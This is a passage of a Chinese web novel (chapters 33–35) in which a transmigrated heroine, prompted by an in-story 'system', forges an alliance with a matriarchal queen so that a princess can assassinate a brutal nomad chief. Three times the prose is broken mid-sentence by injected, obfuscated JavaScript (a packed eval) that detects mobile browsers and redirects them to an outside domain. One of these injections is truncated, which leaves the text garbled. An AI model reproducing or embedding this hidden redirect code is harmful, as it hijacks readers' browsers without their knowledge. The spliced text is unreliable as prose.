姜婋从容上前,拱手道:“此举并非大昭皇帝之意,而是我二人之策。” 托罗沙闻言,轻嗤一笑,目光顿时浮现杀意:“两个黄毛丫头,偷穿大人衣裳,便敢与本巫珠谈判?来人——” 侍卫闻声而动,姜婋高声道:“且慢!巫珠,你难道不想知道这片野利娥若的甲胄残片从何而来吗?” 托罗沙眼神微顿:“你当真以为一片甲胄残骸,便能左右本本巫珠?不过是你这小丫头从何处捡来的罢了。” 姜婋忙道:“野利娥若,是我的姊师。” 此言一出,托罗沙手中酒盏微微一晃:“你是说,野利娥若……尚在人世?” 姜婋颔首:“姊师当年确实几近战死,被黑水河冲至南下,而后被我们昭人所救,这才捡回一条命。” 托罗沙的神情陡然复杂,许久方才低声道:“……她,可还安好?” 姜婋摇头:“姊师魂牵故土,却无颜归来,日日痛苦消沉。我求她教我武艺,并以此为交换,终有一日,我会让她洗刷耻辱,重返母国。方法正是剿灭依兹,让她重新以战士的身份归于您的麾下。” “所以这异想天开的计划,是野利娥若提出来的?” “我的军法武艺既是由姊师所教,所以这计划当然有姊师的一部分。” 托罗沙凝眸,半晌后冷冷一笑。 “你以为搬出野利娥若,便能令我答应同你们胡闹?你们可知,自黑水一役后,回夏与依兹井水不犯河水,冒然挑起争端,于我族有何益?况且依兹铁骑凶狠无比,首领宰牙更是残忍狠辣,若战败,别说大昭,就连我回夏也必定陷入危险之中。这笔买卖风险太大,不划算……” 言罢,她仰头饮尽杯中烈酒。 姜婋咬咬牙问道:“难道,巫珠不想为死去的女儿朵朵公主复仇吗?” 托罗沙握杯的手蓦然一颤,金杯摔落,她猛然抬眸,眼眶中浮现隐隐血丝。 见托罗沙陡然失态,昭离困惑地望向姜婋,只听姜婋说道。 “多年来,大昭与回夏毗邻,尚且相安无事。直至一日,北边游牧部落依兹崛起,沿途烧杀劫掠,首攻回夏北境。宰牙索要和亲的第一位公主,正是朵朵公主……” “没错!” 托罗沙目眦欲裂,声音几乎是从齿间挤出:“朵朵之死乃我一生之痛!我原计暂且和亲,引敌松懈,待机反攻。不料那宰牙嗜虐成性,凡远嫁公主,皆被他视如刍狗,玩弄如敝屣!朵朵和亲当夜便被折磨致死…… “闻此噩耗,我一病不起,野利娥若替我领兵,结果黑水之战中全军覆没。宰牙害我痛失爱女,折损心腹大将,更令回夏元气大伤……” 姜婋凝望托罗沙道:“自那之后,巫珠便酒不离手,日日以醉解忧。” 昭离顿时恍然,原来托罗沙纵酒自戕,不过是自我麻痹之法。她痛失爱女,以至于性情大变。 那……自己的父皇呢? 他是否也因噩耗而忧思成疾?是否早已愁白了两鬓? 念及于此,昭离更坚定了回到兴都的决心,她要亲自告诉父皇,她还活着! 长塌之上,托罗沙冷笑:“你们又怎会懂,我每清醒一分,便痛彻骨髓一分!唯有醉了,才能令我暂忘失去爱女的旧痛……” 姜婋上前一步:“巫珠,可纵酒不能令朵朵公主复生。您是愿终日沉湎痛苦,麻醉自己,还是愿意提刀复仇,送宰牙下地狱?” 这时,一阵风卷起寝殿里层层叠叠的帷幔,好似幽魂掠影,又仿若一声叹息。 直到纱幔缓缓垂落,归于平静,托罗沙才开口道:“你们的计划,说来听听。” 姜婋朝昭离对视一眼,说道:“借大昭公主和亲之名,送依兹一场大礼。按照依兹习俗,若首领大婚,举部狂欢三日,此次所饮酒水由大昭所供。届时我们在酒中下药,使其无力反击,待苍狼军与回夏军合围,一举歼灭!至于宰牙……我会假扮公主,入营成婚,于帐中亲手取其首级!” “你们还是低估了宰牙。” 托罗沙冷笑:“此人残暴嗜血,戒心极重,凡和亲公主,皆先遣画师画像,详探身上痣胎,岂能容人顶替?” 闻言,昭离神色微变:“难怪当初宫中画师为我画像之时,还特意探问胎记……原来是防止有人替嫁!” 托罗沙叹气:“所以说,你们这个计划行不通。” 登时姜婋心神剧震,五年来,这个计划在她心中反复推演,唯独遗漏了一个环节——那就是宰牙! 因为原著小说里,根本没有公主假和亲这一桥段,而是顾将军为了公主和依兹开战,所以姜婋并不了解宰牙的行事作风…… 她在脑海中反问系统:“难道我谋划已久的计策就这样满盘皆输吗?所有的努力都功亏一篑了吗?那这一副本岂不是陷入死局?” 系统:“玩家,你要接受变数。” 大殿之内,气氛凝滞。 就在姜婋陷入绝望之际,一道清冷而坚定的声音从身后响起—— “未必无解!” 姜婋回首,只见昭离挺身道:“我不需旁人假扮,我亲自和亲,诛杀宰牙。” 顷刻间,昭离就作出决定,她必须要回到兴都,她要再见父皇! 托罗沙顿时狂笑:“好个天真的小公主!你,杀过人吗?” 昭离怔住,答道:“未曾。但我杀过鱼。” 托罗沙闻言并没有嘲讽她,而是眯眼反问:“杀鱼时,你心中在想什么?” 昭离回忆起来:“我自幼流落民间,干娘为湖州渔姑,我们捕鱼为生 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托罗沙似笑非笑:“再厉害的男人,也有弱点。小公主,那些越是自诩强悍的男人,往往在床笫之上就越软弱。尤其是那些把蹂躏女人当作征服的弱者,他们□□,都是软塌塌的。你要学会挑逗他们最脆弱的地方,然后一击制胜!” 昭离微怔:“我……” 托罗沙意味深长:“把他想象成一条待宰的死鱼。”她轻笑一声,“不过,男人在床上,有时确实就像一条死鱼。” 昭离沉默片刻:“多谢巫珠指点……我明白了。” 姜婋忙问:“巫珠陛下,所以,您愿意合作了吗?” 托罗沙重新斜倚在榻上,悠然问道:“事成之后,我会得到什么?” 姜婋眼神微亮:“事成之后,宰牙的头颅我们需得带回大昭,他的尸身归您。还有——依兹。” 托罗沙挑眉:“你们可是出了主力,依兹这偌大的部落,大昭难道不想归为己有?” 姜婋答道:“依兹远在西陲,大昭即便占领也难以久守。更何况,依兹本就是回夏北部旧土。如今,不过是物归原主。” 托罗沙笑道:“好一个‘物归原主’。那你们岂不是做了亏本的买卖?” “既然是物归原主……” 姜婋话锋一转:“我们也想从巫珠这里要回一座城池,大昭曾割让给回夏的——银州。” “做梦!” 托罗沙袖袍一震:“银州连接风沙渡,是商旅往来的咽喉之地,每年回夏商队往来无数。若交给你们,风沙渡这块香饽饽岂不是拱手让人?” 姜婋道:“巫珠,您真正想要的是银州,还是银州连接的商路?我向您保证,不久的将来,不止银州,更不止风沙渡,我们大昭会主动打开国门,与回夏毗邻的每座城池都开放贸易往来之路。” “你们的皇帝老儿会答应?” 姜婋微微一笑:“现在的皇帝,或许不会。但未来的皇帝,一定会。” 托罗沙蹙眉:“你还能未卜先知?” 姜婋朗声道:“未来的皇帝,就站在您面前。昭离公主,就是大昭未来的母君!” 33.08 刹那间,昭离心惊肉跳,看向姜婋。 她忽然想起姜婋说过的种种:什么豆烛盈辉之理,天方夜谭之道……难道,她真正的计划不单单是攻打依兹,而是要让自己登上帝位? 托罗沙意味深长地看了昭离一眼:“她?” 姜婋点头:“没错。回夏有巫珠,大昭凭什么不能有母君?” 托罗沙道:“可你们大昭,自古以来从未有女子为帝。” 姜婋眼神笃定:“以前没有,现在就有了。” 托罗沙端详昭离,见她惊慌诧异的模样,不由嗤笑:“可我看你们这位母君,似乎自己都不相信呢。” “急什么?” 姜婋正色道:“这正是我要与巫珠谈的第二个合作。只需您把银州还给我们,让昭离公主带着宰牙的头颅和失落的城池荣归故土,这将成为她夺取皇位最有力的筹码。” 托罗沙目光微沉,大殿内一时缄默无声。 姜婋上前一步,继续游说:“巫珠,您希望日后您的邻国之主,是像赵柟这样求仙问道,罔顾苍生的皇帝?还是像您面前昭离公主这般身处绝境,浴火重生的母君?只需您归还一座城池,便可助公主一臂之力。日后公主成为母君,定会开放两国之间的贸易,也不会像宰牙那般随意发起战争。 “因为我们女人有孕育生命的神力,最知生命之可贵和伟大,所以不愿造成杀戮。届时两国和平相处,休戚与共,难道不好吗?” 最后那句话,确实令托罗沙心动。 多年来,回夏维持母权部落的传统,从不主动挑起战争。但大昭毕竟是父权治国,也不可轻信…… 托罗沙问:“所以,你是在跟我谈两笔合作?一笔是联手剿灭依兹,另一笔,是让我助这小公主成为母君?” 姜婋坦然点头:“没错。” “第一笔合作,我可以入局一试。但第二笔……” 托罗沙凤眉一挑,“等她拿着宰牙的头颅站到我面前之时,再谈也不迟。” 姜婋点头道:“巫珠,既已言定,我们便共赴前路!” 托罗沙微一颔首,举杯示意,一饮而尽。 昭离忽然开口:“既是合作,我们需要彼此的承诺。此事事关重大,绝不能落于纸上。我也不愿如男子那般歃血为盟……不如,我们各自交出一样至关重要的物件,既是信物,也能成为彼此的制衡。” 托罗沙笑着把玩酒杯:“小公主,看不出你倒是有些手段。” 昭离摘下头上的金钗:“这是我出嫁时,父皇命工匠特制的,上面刻着我的名字,见此金钗如见公主。这就是我的诚意。” 托罗沙思忖片刻,从腰间摘下一个物件,抛入昭离掌心。 昭离展开一瞧,吓了一跳,那是一枚黄金狼牙。 托罗沙走近道:“在回夏,杀百人者得银狼徽章,千人以上可得黄金狼牙。这是我的荣耀,如今交给你。” 昭离心头微震,杀千人……这是怎样一条血路? 忽然,托罗沙拿起金钗,顺势紧握住昭离的手。 “小公主,我杀千人,也比不上你杀一人。你若能杀死宰牙,这黄金狼牙,我便送你。” 昭离深吸口气,郑重地反握住她的手:“请巫珠放心,我定不辱使命。为我,为朵朵,为千千万万向往和平的百姓,杀了宰牙!” 托罗沙与昭离目光交织,无须言语,已达成共识。 姜婋看着这一幕,心中震动,这正是她期盼已久的,坚不可摧的女性同盟。 这时,守卫匆匆进来:“巫珠,苍狼军在城外叫嚣,让我们放人!” 托罗沙斜睨姜婋:“这难道也是你计划中的一步?” 姜婋拱手道:“还劳烦巫珠,陪我们演一场戏。” “你兄长顾将军,不知道你的计划吗?” 姜婋摇头:“我哥是愚忠之人,他若知晓必然会起奏皇帝,届时再好的计划,也无法推进。更重要的是——我不相信男人。” 托罗沙目光赞许:“你能有这份觉悟,是个做大事的人。” 姜婋莞尔:“巫珠谬赞。” 倏忽间,托罗沙表情一变:“来人,把她们拖出去,挂上城楼。好戏开场了!” 此时残阳如血,回夏皇宫的城楼被镀上一层猩红。 城楼之下,顾云铮跨马而立,苍狼军严阵以待。 这时,城楼之上,一架高台被缓缓推出,姜婋和昭离背对背,牢牢绑于高台木桩之上。 顾云铮看见妹妹,登时神色一凛,又见另一边被捆的女子围着面纱,白衣飘飘,想必定是公主殿下! “顾将军——” 托罗沙笑意张狂,声音回荡:“久闻你箭术天下无双,不如今日试一试,让我也开开眼?” 顾云铮沉声道:“巫珠,想如何试?” 托罗沙兽皮锦袍一挥,身侧护卫取来三只琉璃酒杯,其中两只扣在姜婋和昭离头顶。 “若你能在旋转的木桩上射落她们头顶的酒杯,我便即刻放人,不必动一兵一卒。” 昭离闻言一惊,压低声音问:“我们不是要合作吗?巫珠为何突然翻脸?” 姜婋神色未变:“她并非翻脸,而是在考验……” “考验顾将军的箭术?” “不,是考验你我。” 姜婋思忖道:“恐怕巫珠想看看,我们是否能置于死地,仍沉着冷静。” 她倒是并不害怕,毕竟顾云铮是男主角,有「男主光环buff附体法则」,就算巫珠让他蒙上双眼射箭,想必也是箭无虚发。 不过隔着木桩,她感受到昭离的恐惧。 姜婋问道:“你怕吗?” 昭离强撑:“不怕。” 木桩绳索处,姜婋努力挣松麻绳,碰上昭离的指尖,试图给她一丝安慰。昭离感受到触碰,也奋力抽出手指,勾住姜婋。 层层麻绳深处,二人的指尖紧紧勾在一起,传递着力量。 这时,木桩突然开始旋转。 托罗沙笑意森然:“顾将军,开始吧!” 城楼下,顾云铮拉满长弓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737494|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,鹰隼般的目光对准酒杯。 第一箭破空而出,铮地一声,精准穿透了公主头顶的酒杯,琉璃碎片四散而飞。 第二箭随即而至,姜婋头顶的酒杯霎时化作齑粉。 刹那间,昭离松了口气,勾住的手指已是冷汗涔涔。 可姜婋却在心中暗自腹诽:“可恶!还是让顾云铮装到了!” 城楼上,传来巫珠的赞叹声:“好箭法!” 她眼中闪过一丝兴味,轻轻晃了晃手中的酒杯:“可最后一杯嘛,就在我手中,能不能射中就看顾将军的本事了。” 闻言,昭离心跳如擂:“这、这难道也是考验?” 姜婋道:“若想成大事,还有一样东西极为重要。” 昭离颤声问:“什、什么?” “运气。” “可万一……” 姜婋心道,你是女主角,绝对不会死的。 她勾住昭离的手指:“昭离,你若害怕,就闭上眼睛。我们再赌一次!” “赌什么?” “若此次能顺利脱险,你定可斩杀宰牙,成为昭国新帝。” 昭离闭上眼睛,感受被恐惧攫住的身体。 忽然,一个声音自心底响起,又仿佛从天外传来—— 你若要手刃宰牙,重返兴都,再见父皇,从今以后,你将会经历无数这样的时刻,你不能此刻就被恐惧打败! 倏地,昭离睁开眼睛,眸光如利刃出鞘。 那蛰伏已久的命运引线,终于在这一刻,被战胜恐惧的力量引燃。 与此同时,托罗沙饮尽美酒,将空酒杯高高抛起。 酒杯急速下坠—— 顾云铮的箭镞追逐着下坠的弧光,电光火石间,击碎酒杯,继而顺势切断束缚二人的绳索! 姜婋腕骨一翻,拔出袖中藏匿的兽骨匕首,切断绑在腿上的绳索,一手揽住公主,带着她纵身跃下高台! 苍狼军瞬间上前接应,二人稳稳翻身上马,策马疾驰。 托罗沙眼神微眯,悠然抬手:“放箭!” 城楼之上,箭雨骤起,苍狼军边战边撤。 昭离反问:“为何巫珠还要赶尽杀绝?” 姜婋在疾驰的马背上反手捞起一支流箭,只见箭头早被折断,她了然一笑。 “不愧是回夏巫珠,好个一石三鸟!既试了顾云铮和苍狼军的战力,又验了你我的心性,还能把戏做足,骗过所有人。这下依兹绝对不会怀疑我们两方会联手了!” 昭离心中一震,蓦然回望。 只见城楼上,托罗沙好似群兽之首傲然而立,一身兽皮锦袍宛如烈烈战旗,她如此强大、狡黠、聪慧、可怕…… 刹那间,某种炽热的渴望在昭离胸腔轰然炸开,比方才直面箭矢时更令她颤栗。 ——她想成为那样的人,甚至,超越她! 【作者小啰嗦】 愿每一位女性都可以找到自己的女性榜样! 成为role model,超越role model! 34.09 夜风裹挟着寒意,一路人马往丹州军镇奔去。 回去路上,姜婋越想方才那幕越生气,一时间心脏狂跳。 系统声音响起:“玩家,检测到你的心率异常。你已顺利救回公主,为何如此生气?” 姜婋痛心疾首,与系统在脑海中交流—— “我恨呐!我恨那该死的「男主光环buff附体法则」!刚才那情节不就是男主的高光时刻吗?他那三支箭肯定射进女主心里去了……” 她咬着牙,默默委屈:“我苦练五载,好不容易夺走他救公主的名场面,结果我舍命和回夏做戏,倒是给男主角做嫁衣了!这就是浪漫爱世界的男主光环吗?我抢走顾云铮的高光戏,反手就得还他一个名场面?呜呜,公主一定爱上他了,不要我啦……呜呜呜……” 她噘着嘴,又无法真的哭出声,瞅着委屈极了。 系统:“你是在吃醋吗?” 姜婋一愣:“吃谁的醋……” 系统:“……” 心念对谈间,一行人已经抵达丹州营地。 领头的顾云铮翻身下马,摘下面具,目光凌厉地直奔姜婋而来:“筱筱,你这次也胡闹了!回夏皇宫岂是你说去就去的地方?” 姜婋见顾云铮怒气正盛,忙自马上跃下,安抚道:“哥,你先别生气,顽妹此举并非任性,毕竟我可救下了公主殿下呢。” 顾云铮闻言一怔,这才意识到公主还在。 他旋即收敛怒意,转身跪地行礼:“卑职顾云铮,救驾来迟,罪该万死,还望公主恕罪。” 姜婋鹰眼扫过,心中OS:“此刻,女主和男主之间的距离只有9.7尺,根据「女主必为男主心动法则」,不消片刻后,她将会无可救药地爱上这个男人。为了阻止悲剧发生,我决定——” 她旋即一个大步冲上去,横亘在女男主之间,还不忘将昭离的坐骑拉开一尺有余。 在确定二人间距超过三米后,姜婋故意卖乖道:“公主,求你别怪我哥!” 昭离被她这一出整懵了:“怎么会呢?今日若非顾将军箭术通神,我们也逃不出那回夏皇宫,将军又何罪之有?” 顾云铮松了口气:“多谢公主恕罪。” 昭离道:“只是父皇误以为我病逝途中,此事还望将军代为上书陈情,和亲之事,一切如旧。” 公主的声音从面纱下传来,宛如雪融滴石,轻触耳畔,令人不忍拂去。 顾云铮好奇地抬眼望去,月光之下,公主面纱之上的眼睛灿若星辰,他竟一时看呆了。 片刻后,他才垂下眼帘,带着些许紧张道:“属下即刻上书。只是军镇简陋,恐怕要委屈公主了。” “无妨。” 昭离正欲下马,顾云铮起身上前,姜婋见状抢先伸手:“我来扶公主下马。” 她说着,还不忘再次将二人隔开三米之远。 正巧此时,夜风忽起,掀起公主面纱的一角。 顾云铮瞥见公主姿容,顿时神魂飘荡,胸中涌起一丝难以言喻的悸动。 这时,月光不偏不倚地洒在两人身上,晚风还吹来阵阵花瓣,落英缤纷,氛围正好,连空气都变得暧昧。 姜婋见此一幕,立即警铃大作! ——这反物理学的光线,这反生态学的花瓣,这肉眼可见的慢动作,分明是「男主光环buff附体法则」在给二人营造浪漫爱氛围! 她一把将昭离从月光中拽了出来,扭头冲着那天降花瓣打了个震耳欲聋的喷嚏。 “阿嚏!” 昭离关切地问:“你怎么了?” 姜婋捏着鼻子,一脸嫌弃地看向顾云铮:“哥,你是不是……有些日子没洗澡了?” 顾云铮愣住:“啊?有味道吗?” 姜婋半眯着眼,分析道:“你这味儿,三分陈汗,两分脚臭,还有五分马屎,都腌入味了,你可不闻不出来吗?” 她顺势道:“这军镇之中都是你们的汗味儿,为保公主清净,不如就让公主和我住在一处。” 顾云铮皱眉:“公主千金之躯,怎可与你同塌而眠——” 昭离却道:“如此也好,我这几夜皆与婋婋相伴而眠,若突然分开,倒觉空枕难安。” 姜婋心中暗爽:“我与公主这几日出生入死,经历过无数次吊桥效应,我们之间的感情,岂是你这才登场的男主角能破坏的!” 顾云铮虽觉不妥,但也终是点头。 此时,忽有亲兵来报:“将军,属下已寻回公主和亲队伍所携之物,只是其中……还有一活物,不知该如何处置?” 昭离闻言,表情一变:“在何处?” 亲兵带路,昭离立刻疾步而去,姜婋和顾云铮也随之跟上。 营地后方,只见一架鎏金囚笼静静矗立,笼中一头毛色鲜亮的梅花鹿跪伏其中,这鹿生得玲珑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745683|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可观,鹿角如曲折的枝桠般向天伸展。 昭离走上前去,那小鹿看见她缓缓起身,如见故友。 姜婋讶然:“这鹿……是何来历?” 昭离抚上冰冷的金笼:“这是我的陪嫁,此乃父皇寻访名山所得,赠予依兹王宰牙之礼。听闻宰牙嗜鹿血如命,父皇特令沿途以鲜果饲之,确保鹿血鲜甜可口。在来西陲的路上,我与它朝夕相伴。谁知半路遭劫,那时我以为它也遭遇不测……” 仿佛是听懂了公主的话,小鹿轻轻垂下颈项,用额头贴了贴她的掌心。 昭离眼神微动:“你虽捡回一命,若送去依兹,亦难逃一死。不如——” 话音未落,她忽然转身,抽出顾云铮腰侧佩刀,刀锋一闪,映照出她决绝的眼神。 姜婋大惊:“昭离!” 铿锵一声,金锁断裂。 囚门打开,梅花鹿优雅地迈步走出,低头朝昭离屈膝,宛如致谢。 昭离凝视着它,忽然低语:“且慢。” 她执刀再起,疾然挥下,刹那间,一侧鹿角落地。 姜婋愕然:“昭离,你既要放了它,又为何要伤它……” 昭离缓缓收刀,轻抚小鹿鹿角断口道:“匹夫无罪,怀璧其罪。你生得太过美好,若不舍此物,终有一日仍会被人锁入金笼,献予权势者,被饮血食肉。” 她后退一步,挥袖道:“如今自由在前,山野青崖,任你驰骋。去吧,莫再被人擒住了。” 那小鹿静静望了她一瞬,旋即轻跃而出,身姿灵动,顷刻间就消失在夜色之中。 霎时,姜婋明白了,昭离放走的是一部分自己。 她不就犹如此鹿,被锁在金笼,献祭依兹,被饮血食肉曾是她们两者共同的命运…… 而另一边,顾云铮目睹此景,胸中不知为何生出几分苦涩。 他望着夜色下的公主,明明年齿尚稚,却有这般决绝与坚韧,一时更加心疼。 他不禁低声道:“公主,和亲一事……是否需要暂缓?属下愿为公主请奏圣上。” 昭离收回视线,声音坚定:“不必,一切如旧。” 言罢,她转身离去。 姜婋望着她的背影,又低头看着地上那根锋利坚硬的鹿角,将之拾起。 数日来,经过这么多事,昭离的心仿佛也变得像鹿角一般坚硬,姜婋一时之间,也不知是该开心,还是难过…… 35.10 夜里,昭离和姜婋挤在那间简陋的砖房。 经历今日的一连串波折起伏,二人之间的距离悄然拉近,终于得以并肩安歇。 姜婋枕着手臂,偏头看向昭离:“我这儿简陋,你可还睡得惯?” 昭离也侧身相对:“你还真把我当金枝玉叶了,我在湖州颠沛流离之时,所住之地还远不如此呢。” 两人相视而笑,目光在夜色中交错。 良久,昭离忽然收敛笑意问道:“今日在回夏宫中,你当着巫珠的面,说要让我成为母、母君……”她语声微顿,仿佛连“母君”二字都带着难以启齿的沉重。 “此言……只是当时为了说服巫珠的权宜之策,还是你的真意?” 姜婋静静地望着她,月色映在昭离的眼眸中,一闪一亮。 “若你当我是随口一说,那便当耳旁风吧。” 她的声音低柔,带着一丝耐人寻味的笑意:“但若你听进了心里,这话便如种子,终有一日会在你心中生根发芽。” 昭离怔然,指尖不自觉地收紧被褥,轻声道:“我不敢去想,眼下我只想回到兴都,再见父皇……” 姜婋听见“父皇”两个字就脑壳疼,翻了个身道:“那便先不想了,睡吧。” 夜静如水,屋内沉寂了片刻。 忽然,昭离又开口问道:“你曾说筹谋五载,我本以为你夸大其词。可今日你在回夏皇宫里不卑不亢,条理清晰,说服巫珠的样子……让我恍惚间觉得,你好像知晓这一刻会到来,默默做了很多准备。就连巫珠都说你未卜先知。” 她定定看着姜婋,“我想问,你到底是如何做到的?” 姜婋侧过身,朝她耳边道:“等你杀了宰牙,我便告诉你。” 昭离眨了眨眼:“当真?” “骗你是小狗。” 姜婋突然想起什么,撑起睡眼问:“对了,你先前不是问过我,我哥和我长得像不像,你今日见了他,觉得如何?” 虽然今日她努力让二人拉开距离,阻止「女主心动法则」运转,但还是摸不准昭离的心思。 昭离笑道:“怪了,你们竟长得一点都不像,若不说,都不知道你们是兄妹。” 姜婋心道:“当然不像了。自己进入副本都是以本来的面貌,原文中顾将军可是被描述成丰神俊朗,打仗之时都要遮住脸庞,不然会被敌人口出狂言……” 即便如此,她还是饶有兴味地问:“如何不同?” 昭离想了想道:“你们站在一处,可谓是‘蒹葭倚玉树,玉阶生白露’。” 姜婋闻言,旋即笑意狡黠,伸手挠了挠昭离的腰侧:“说清楚,谁是蒹葭,谁是玉树?” 昭离猝不及防,被她挠得咯咯直笑,连忙求饶:“哎呀,快住手……行了行了,你是玉树,你是白露,可好?” 虽明知是假意赞美,姜婋还是得意起来:“这还差不多。” 昭离轻轻喘息,眼底闪过一丝顽皮,倏地伸手朝姜婋的痒痒肉探去。 姜婋早有防备,一把钳住她的手腕:“还敢偷袭?我可是被姊师调教五年,睡觉之时也是眼观六路耳听八方呢。” 昭离想挣脱,姜婋却眉头蹙起:“你这手腕也太细了,风一吹都能折。” 她语气一转,郑重道:“从今以后,你得每日多吃肉才行。不仅如此,明日起你随我找姊师练武,学个一招半式的,说不定杀宰牙的时候,还能派上用场。” 昭离眼中掠过一丝复杂的情绪:“我……真的能杀了宰牙吗?” 姜婋毫不犹豫地点头:“当然。” 昭离忽然盯着她,轻声问道:“为何你总是这般相信我?” 姜婋认真道:“因为,「相信」是女性之间最稀缺的资源,所以我想把我的信任留给最值得的人。” 她顿了顿,目光看向昭离——“就是你。” 昭离心头微颤,半晌未言。 姜婋已然疲倦至极,打了个哈欠道:“行了,快睡吧。今日在回夏皇宫和巫珠对峙,我的CPU都烧干了,脑细胞死了大半,实在撑不住了……” 话音未落,呼吸声便渐渐均匀下来。 昭离失笑摇头,心道她真是累极了,都说胡话了。 她侧过身,看着姜婋熟睡的侧颜,心中却矛盾起来——她为何算无遗策,还对自己这么好?甚至觉得自己会成为昭国的母君呢?难道是另有所图? 可自己如今一无所有……她又图什么呢? 这一日的大起大落,早已令昭离身心俱疲,思绪尚未理清,她就沉沉睡去了。 次日,天色微明,号角声便悠远响起,操练声不绝于耳。 昭离被这嘈杂声吵醒,伸手往旁一摸,却摸了个空。 姜婋早已穿戴整齐,朝她道:“你快收拾一下,我带你去见姊师!” 两人一路来到军厩,河面在初雪后结了一层薄冰,远处的马群悠然啃食着干草,偶尔喷出一团白雾,甩甩尾巴,惬意地踩踏着半凝的霜雪。 昭离驻足,目光落在厩中那位马倌身上,她灰布衣衫,体态臃肿,握着鬃毛梳,一下一下地顺着马脊梳理,很难想象她竟然就是那位传说中的野利娥若。 昭离恍神间,姜婋已开门见山道:“姊师,求你教公主几招。我们已与巫珠定下盟约,公主将亲自和亲,斩杀宰牙。” 野利娥若未曾抬头,只是漫不经心道:“教你几招,不如先帮我刷马毛。” 姜婋和昭离对视,皆是一愣。 片刻后,野利娥若方才直起腰道:“你们可知,武艺与驯马,乃是红莲白藕,殊途同归?” 昭离目光微动:“愿闻其详。” 野利娥若没有立刻作答,而是执起刷子,在马背上缓缓划过,一边刷,一边轻声道:“驯马,最重要的是什么?” “控缰。”姜婋答道。 “不错。但控缰之道,并非靠蛮力,而是顺势而为。若一开始就死死勒紧,马只会拼命挣扎,反而更难驯服。须得让它误以为自由,适应你的手势,才能真正掌控。” 姜婋蹙眉:“姊师,这与杀宰牙有何相干?” 野利娥若停下手里的动作,目光沉静道:“杀人如驯马,皆在掌控局势,收服对手,察觉破绽,顺势而为。” 说罢,她将刷子递到昭离手中:“来,你试试。” 昭离接过,学着她的动作去刷马背,却因手法生疏,马儿不耐烦地甩头。 野利娥若覆上她的手腕,力道不重,却令她的动作立刻变得柔和而稳定。不消片刻,马儿就舒服地低头,长尾轻轻扫动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745684|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “刷马时,要顺着毛流。杀人亦然,摸清敌人习惯的招式,顺着势去,等他露出破绽再反击。但杀人之前,需先学会保命。这匹红马是厩中跑得最快的,先驯服它,学会骑马。” 昭离若有所悟,郑重颔首:“是,多谢姊师。” 寒风携着雪屑拂过河畔,昭离继续练习刷马训马,野利娥若立于枯木树下。 姜婋走到她身侧,用只有两个人能听得见的声音说道:“姊师,你方才言之凿凿,训马与杀人皆信手拈来,其实是在诓骗公主吧?” 野利娥若淡然一笑:“你听出来了?” “您为何要骗她?” 野利娥若眸光深沉:“不过是让她动手之前多几分信心罢了。最初之计,原本是让你假扮公主取宰牙狗命。我细心培养你五年,将所有希望都寄托在你身上。可惜我们自诩周密,却终究算漏了宰牙。他于战场之上如何杀伐,我一清二楚;但毡帐之内,他是何等心机深沉,我却未可知……幸得巫珠提点,才知鱼目混珠之计行不通。” 她目光落在昭离身上,语调陡然低沉:“若让我将希望寄托在这手无缚鸡之力的小公主身上……” 她顿了顿,看向姜婋,“那我宁愿相信,等她死于宰牙手下,你再冲进去,将宰牙一剑穿心!” 姜婋心头一震,脱口而出:“姊师,你是说公主她——” 野利娥若冷然道:“宰牙之狠戾,你该比我更清楚。这小公主绝非他的对手!” “可是你的巫珠,她也答应了跟我们联手啊。” “我的傻徒儿,虽得巫珠允诺相助,但对于回夏来说,此计若胜便顺水推舟,此计若败便及时抽身,可决定战局的关键——是能否杀死宰牙。宰牙一死,依兹铁骑就犹如一盘散沙,若宰牙不死,这一仗就不好打了……” 姜婋沉默良久,方才问道:“姊师,依你所见,此计有几分胜算?” 野利娥若未答,只道:“你先教会公主骑马,若是事败,逃跑时至少让她能保住一条性命。” 言罢,她径自离去,继续喂马。 姜婋站在枯树下,默然片刻,心中低唤:“系统,你可会算卦?能不能帮我卜算此计是否能成?” 系统:“玩家,你何时变得这般迷信?” 姜婋叹了口气:“昨日在回夏宫中说服巫珠,我当时满腔热血,信心十足,觉得昭离有女主光环护体,定能成事。可睡了一觉,清醒后才惊觉,昭离真的能杀宰牙吗?原著中,斩杀宰牙的是顾云铮,还是在鏖战两年的情况下……如今计划骤变,我也不知道能不能成了……” 系统:“玩家,若算出失败,你便就此罢手?若算出成功,你便高枕无忧吗?” 姜婋恍然:“哎,终究不过是求一念安慰罢了。可若此计失败,公主被宰牙反杀,那我是不是也活不成了?” 系统:“那是自然。你的任务是让女主角生发出自己的人生之路,若女主已命丧黄泉,人生之路当然是无路可走。你集不齐‘力量’,自然就无法改写死亡的结局。” 闻言,姜婋轻吐一口寒气,但转瞬间,眼中又燃起一丝炽热的光。 